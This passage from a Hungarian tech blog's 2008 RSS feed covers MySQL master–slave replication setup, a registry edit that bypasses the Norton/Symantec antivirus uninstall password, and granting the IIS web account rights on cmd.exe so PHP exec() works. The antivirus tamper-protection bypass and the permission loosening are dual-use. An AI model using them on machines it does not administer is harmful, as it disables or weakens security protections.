<p>Egyszerű failover megoldásnak tekinthető: Ha a master szerver elhasal, az adatok gyakorlatilag real time ott vannak a slave-en, csak meg kell neki mondani, hogy Ő mostantól nem slave.</p>
<p>Ha túl sok, vagy túl nagy adatbázisaink vannak, akkor a mysqldump-os megoldás problémás lehet a nagy erőforrásigény, a hosszú mentési idő, és a még hosszabb visszaállítási idő miatt. Ilyen esetben célszerű az adatfájlok közvetlen mentése. Tekintettel arra, hogy a MySQL szerver működése során memóriába pufferel adatokat, ha egy futó MySQL szerver alól kimentjük az adatfájlokat, korántsem biztos hogy minden adat a fájlban lesz, illetve hogy az adatfájl egyáltalán használható lesz egy visszaállítás után. Kézenfekvő a megoldás: slave szerverre replikáljuk az adatokat, majd mentés előtt a slave szervert leállítjuk. Szolgáltatásunk működését ez nem befolyásolja, hisz a kliensek továbbra is a master szerverrel kommunikálnak, a master pedig a binlogban gyűjti, azokat az utasításokat, amelyeket a slave-nek végre kell hajtania, hogy újra az aktuális állapotot tükrözze. A leállított slave adatfájljait ezután gond nélkül menthetjük, majd a mentés végzetével a slave adatbázis szerver ujraindításával minden megy tovább.</p>
<p>A master &#8211; slave replikáció megvalósítása:</p>
<p><span id="more-49"></span></p>
<p>Tekintettel arra, hogy a replikáció TCP kapcsolaton keresztül megy, így ha a mysql szerverünk úgy van beállítva, hogy csak unix socketeket használjon, konfiguráljuk tcp/ip használatra (my.cnf bind-address    =<strong> </strong>0.0.0.0), továbbá a tűzfalunkon engedélyezzük a master és slave szerverek közötti kommunikációt a 3306-os porton.</p>
<p>A replikáció működéséhez a &#8220;replication slave&#8221; jogosultság szükséges. Természetesen a jogosultságot úgy kell felvenni, hogy a slave szerver IP címéről, vagy hostjáról érkező felhasználónak is megfelelő jogosultsága legyen.</p>
<p>Példáinkban feltételezzük, hogy a master szerver IP címe: <strong><em>192.168.1.100</em></strong>, a slave szerver IP címe pedig <strong><em>192.168.1.200</em></strong>.</p>
<p>Az első feladatunk, hogy létrehozzunk egy felhasználót a master szerveren, amely rendelkezik a fennt említett &#8220;repliaction slave&#8221; jogosultsággal.</p>
<p>Csatlakozzunk a master MySQL szerverhez, és hozzuk létre a megfelelő jogosultságú felhasználót:</p>
<blockquote>
<pre># mysql -u root -p
mysql&gt; grant replication slave on *.* TO repl@"192.168.1.200" identified by 'jelszo';
mysql&gt; quit</pre>
</blockquote>
<p>Bátrak, és az egyszerű utat kedvelők, természetesen phpMyAdmin segítségével összekattintgathatják a felhasználót.</p>
<p>Következő lépéskét konfiguráljuk a mysql szervert úgy, hogy a modosítást végrehajtó lekérdezésekről készítson ún. binlogot.<br />
Nyissuk meg szövegszerkesztővel a mysql konfigurációs állományát (általában /etc/my.cnf vagy /etc/mysql/my.cnf), és a [mysqld] bejegyzés után ellenőrizzük az alábbi sorok meglétét, illetve ha szükséges, hozzuk létre őket:</p>
<blockquote>
<pre>log-bin=mysql-bin
server-id=1
binlog-ignore-db="mysql"</pre>
</blockquote>
<p>Ha módosítanunk kellett a konfigurációs állományon, indítsuk újra a MySQL szervert:<br />
/etc/init.d/mysql restart</p>
<p>A replikáció elindításához mind a master, mind a slave adatbázisnak ugyanazokat az adatokat kell tartalmaznia, teljes mértékben meg kell egyzniük.</p>
<p>Ehhez zároljuk a master adatbázist:</p>
<p>flush tables with read lock</p>
<p>és a mysqldump parancs használatával mentsük el a master adatbázis adatait.</p>
<blockquote><pre>
mysqldump --all-databases --lock-all-tables &gt;dbdump.db
</pre>
</blockquote>
<p>a dbdump.db-t juttassuk át a slave szerverre és adjuk hozzá a slave mysql szerverhez:</p>
<blockquote><pre>
mysql -u root -p &lt; dbdump.sql
</pre>
</blockquote>
<p>Természetesen, ha nem az összes adatbázis replikálását tervezzük, akkor elegendő csak a replikálni kívánt adatbázisok szinkronba hozása, illetve ha nagyon nagyok az adatbázisok, vagy speciális karakterkódolásokat használunk, akkor az adatfájlok átvitelével is megoldhatjuk a kezdeti szinkronizálást. (Ehhez persze a master adatbázist le kell állítanunk!)</p>
<p>Miután a két adatbázis szinkronban van, meg kell tundunk a master adatbázis binlog pozícióját.</p>
<p>A master szerverre bejelentkezve adjuk ki a</p>
<blockquote>
<pre>show master status</pre>
</blockquote>
<p>parancsot.</p>
<p>A parancs kimenet valami ilyesmi lesz:</p>
<pre class="code">+------------------+--------------------------+------------------+
| File             | Position  | Binlog_Do_DB | Binlog_Ignore_DB |
+------------------+--------------------------+------------------+
| mysql-bin.000112 |        79 |              | mysql            |
+------------------+--------------------------+------------------+

1 row in set (0.00 sec)</pre>
<p>Jegyezzük fel a File és a Position mezők értékét. NAGYON fontos, hogy a binlog azt az állapotot tükrözze, amelyet átvittünk a slave-re. Azaz, az adatok átmásolása után azonnal jegyezzük fel a binlog pozícióját, mielőtt bármilyen módosítást végző lekérdezsé lefutna.</p>
<p>Ezzel a master szerveren végzendő módosításokkal megvagyunk, nyissuk meg a slave szerver my.cnf állományát, és a mysqld bejegyzés alatt adjuk hozzá a következő sorokat:</p>
<blockquote>
<pre class="code">server-id=2
master-host = [MASTER Szerver IP]
master-user = [REPLIKACIO USER]
master-password = [REPLIKACIO JELSZO]
master-port = 3306</pre>
</blockquote>
<p>A master szerver címe értelemszerű,példánkban 192.168.1.100, a master-user az a felhasználónév, aminek a replication slave jogosultságot megadtuk, a jelszó pedig amit a grant parancsban az identified by után írtunk.</p>
<p>Indítsuk újra a slave szervert, majd jelentkezzünk be, állítsuk be a master szerver binlog fájl nevét, és pozícióját.</p>
<blockquote><pre># mysql -u root -p
mysql&gt; CHANGE MASTER TO MASTER_LOG_FILE='[binlog fajl, korabban leirtuk]',
MASTER_LOG_POS=[binlog pos, korabban leirtuk];
mysql&gt; START SLAVE;
mysql&gt; SHOW SLAVE STATUS;</pre>
</blockquote>
<p>A binlog fájl, és a master log pos helyére azokat az értékeket írjuk, amelyeket a show master status parancs kimenetéből lejegyeztünk.</p>
<p>Ha minden sikerült, akkor a show slave status parancs kimenetében a Slave_Io_Status mező értékének Waiting for master to send event-nek kell lennie.</p>
<p>Amennyiben azt látjuk, hogy connecting, vagy egyéb más üzenetet, a syslogból, vagy a mysql log-ból tájékozódhatunk a hiba jellegéről. (többnyire jogosultság probléma).</p>
]]></content:encoded>
			<wfw:commentRss>http://infoblog.kovix.info/2008/12/26/mysql-master-slave-replikacio/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Symantec (Norton) Antivírus és tűzfal eltávolítása a jelszó ismerete nélkül</title>
		<link>http://infoblog.kovix.info/2008/12/13/symantec-norton-antivirus-es-tuzfal-eltavolitasa-a-jelszo-ismerete-nelkul/</link>
		<comments>http://infoblog.kovix.info/2008/12/13/symantec-norton-antivirus-es-tuzfal-eltavolitasa-a-jelszo-ismerete-nelkul/#comments</comments>
		<pubDate>Sat, 13 Dec 2008 19:04:27 +0000</pubDate>
		<dc:creator>kovix</dc:creator>
				<category><![CDATA[Windows]]></category>
		<category><![CDATA[Haladó]]></category>
		<category><![CDATA[helyreállítás]]></category>
		<category><![CDATA[jelszó]]></category>

		<guid isPermaLink="false">http://infoblog.kovix.info/?p=46</guid>
		<description><![CDATA[A Symantec (Norton) Antivirus illetve Internet Security termékek eltávolítása során &#8211; ha a telepítéskor azt beállítottuk &#8211; szükségünk lehet egy adminisztrátori jelszó megadására, amely megakadályozza a véletlen , vagy szándékos károkozás céljából történő eltávolítást.
Ha az eltávolítási jelszót elfelejtettük, az alábbi módszerrel megkerülhetjük a jelszókérési ablakot, így eltávolíthatjuk a szoftvereket:
Indítsuk el a regisztrációs adatbázis szerkesztőt. (Start [...]]]></description>
			<content:encoded><![CDATA[<p>A Symantec (Norton) Antivirus illetve Internet Security termékek eltávolítása során &#8211; ha a telepítéskor azt beállítottuk &#8211; szükségünk lehet egy adminisztrátori jelszó megadására, amely megakadályozza a véletlen , vagy szándékos károkozás céljából történő eltávolítást.</p>
<p>Ha az eltávolítási jelszót elfelejtettük, az alábbi módszerrel megkerülhetjük a jelszókérési ablakot, így eltávolíthatjuk a szoftvereket:</p>
<p>Indítsuk el a regisztrációs adatbázis szerkesztőt. (Start menü -&gt; futtatás -&gt; gépeljük be a regedit parancsot és üssünk Entert. (lehetséges, hogy szükségünk lesz egy rendszergazdai jelszóra a futtatáshoz.)</p>
<p>A megjelenő ablakban navigáljunk el az alábbi elemhez a bal oldali fastruktúrában:</p>
<blockquote><p>HKEY_LOCAL_MACHINE -&gt; Software -&gt; Intel -&gt; LanDesk -&gt; VirusProtect6 -&gt; CurrentVersion -&gt; AdministratorOnly -&gt; Security</p></blockquote>
<p>A jobb oldali ablakrészen keressünk egy &#8220;UseVPUninstallPassword&#8221; nevű, &#8220;REG_DWORD&#8221; típusú bejegyzést, majd kattintsunk kétszer a nevén.</p>
<p>A megjelenő ablakban állítsuk 0-ra az értékét, majd OK gomb megnyomásával és a regedit bezárásával lépjünk ki az alkalmazásból.</p>
<p>A Norton termékek ezek után a szokásos módon eltávolíthatóak.</p>
<p style="text-align: center;"><a href="http://infoblog.kovix.info/wp-content/uploads/2008/12/symantec.jpg"><img class="aligncenter size-medium wp-image-47" title="Norton uninstall jelszó eltávolítás" src="http://infoblog.kovix.info/wp-content/uploads/2008/12/symantec-300x225.jpg" alt="" width="300" height="225" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://infoblog.kovix.info/2008/12/13/symantec-norton-antivirus-es-tuzfal-eltavolitasa-a-jelszo-ismerete-nelkul/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>php exec() &#8211; Unable to fork warning windows alatt</title>
		<link>http://infoblog.kovix.info/2008/12/08/php-exec-unable-to-fork-warning-windows-alatt/</link>
		<comments>http://infoblog.kovix.info/2008/12/08/php-exec-unable-to-fork-warning-windows-alatt/#comments</comments>
		<pubDate>Mon, 08 Dec 2008 16:52:08 +0000</pubDate>
		<dc:creator>kovix</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[Exec]]></category>
		<category><![CDATA[fork]]></category>
		<category><![CDATA[Hálózat]]></category>
		<category><![CDATA[IIS]]></category>
		<category><![CDATA[jogosultság]]></category>

		<guid isPermaLink="false">http://infoblog.kovix.info/?p=40</guid>
		<description><![CDATA[Windows (IIS / Apache) alatt futtatott php 5.x alatt, ha exec függvényt próbálunk hívni, könnyen az alábbi hiba (figyelmeztetés) fogadhat minket:
"Warning: system() [function.system]: Unable to fork".
esetleg
"Warning: shell_exec() [function.shell-exec]: Unable to execute"
A probléma okozója az, hogy hiába van a php kódot futtató felhasználónak (általában IUSR_gépnév) jogosultsága a kérdéses állományt végrehajtani, a php exec() függvénye nem közvetlenül [...]]]></description>
			<content:encoded><![CDATA[<p>Windows (IIS / Apache) alatt futtatott php 5.x alatt, ha exec függvényt próbálunk hívni, könnyen az alábbi hiba (figyelmeztetés) fogadhat minket:</p>
<pre>"Warning: system() [function.system]: Unable to fork".</pre>
<p>esetleg</p>
<pre>"Warning: shell_exec() [function.shell-exec]: Unable to execute"</pre>
<p>A probléma okozója az, hogy hiába van a php kódot futtató felhasználónak (általában IUSR_gépnév) jogosultsága a kérdéses állományt végrehajtani, a php exec() függvénye nem közvetlenül azt próbálja futtatni, hanem a <strong>cmd.ex</strong>e-t, aminek paraméterben adja át a futtatni kívánt parancsot.</p>
<p>Így, a működéshez a cmd.exe-re is megfelelő jogosultságot kell adnunk. A cmd.exe elérési útvonala: %windir%\system32\cmd.exe (Általában c:\windows\system32\cmd.exe vagy c:\winnt\system32\cmd.exe)</p>
<p>A fájlon jobb klikk, tulajdonságok (properties)</p>
<p> </p>
<div id="attachment_44" class="wp-caption aligncenter" style="width: 374px"><a href="http://infoblog.kovix.info/wp-content/uploads/2008/12/cmd_exe_tulajdonsagok.png"><img class="size-full wp-image-44" title="cmd.exe tulajdonságai" src="http://infoblog.kovix.info/wp-content/uploads/2008/12/cmd_exe_tulajdonsagok.png" alt="cmd.exe tulajdonságai" width="364" height="517" /></a><p class="wp-caption-text">cmd.exe tulajdonságai</p></div>
<p> </p>
<p> </p>
<p>Amennyiben az INTERNET GUEST ACCOUNT (IUSR_gépneve) nincs a listában, kattintsunk a hozzáadás(add gombra), és a mezőbe írjuk be az IUSR szöveget, majd nyomjuk meg a Névellenőrzés gombot. (Apache esetén válasszuk azt a felhasználót, amely nevében az apache folyamatok futnak.)</p>
<p style="text-align: center;"> </p>
<p style="text-align: center;"><a href="http://infoblog.kovix.info/wp-content/uploads/2008/12/picture-2.png"><img class="size-full wp-image-42 aligncenter" title="cmd.exe felhasználó hozzáadása a jogosultsági listához" src="http://infoblog.kovix.info/wp-content/uploads/2008/12/picture-2.png" alt="" width="459" height="242" /></a></p>
<p>Fontos!!! Határozottan ellenjavallott több jogosultságot adni az IUSR felhasználónak, mint amennyi a képen látható</p>
]]></content:encoded>
			<wfw:commentRss>http://infoblog.kovix.info/2008/12/08/php-exec-unable-to-fork-warning-windows-alatt/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
